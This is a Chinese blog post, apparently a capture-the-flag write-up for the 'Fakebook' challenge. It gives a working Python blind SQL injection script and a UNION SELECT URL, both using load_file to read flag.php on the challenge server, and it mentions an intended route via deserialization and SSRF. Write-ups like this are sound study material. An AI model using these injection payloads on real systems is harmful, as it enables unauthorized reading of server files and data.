刷题记录:[网鼎杯]Fakebook

刷题记录:[网鼎杯]Fakebook

题目复现链接:https://buuoj.cn/challenges
参考链接:解网鼎杯一道web题(fakebook)

一、涉及知识点

1、敏感文件泄露

访问robots.txt可以得到源码的备份地址

2、sql注入

常规注入,不说了

二、解题方法

这道题比较简单,我靠非预期解做出来了,题目没过滤load_file,可以直接从get注入点盲注出来,贴上脚本

import requests

url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
        response = requests.get(url + payload)
        if 'www.123.com' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

看了预期解的wp,才知道有源码泄露,最后要利用反序列化和ssrf和file协议读取文件。。。
傻傻的想起来直接访问/view.php?no=0+unIon/**/select+1,load_file('/var/www/html/flag.php'),1,1就可以拿到flag了

posted @ 2019-09-05 20:54  MustaphaMond  阅读(1830)  评论(0编辑  收藏  举报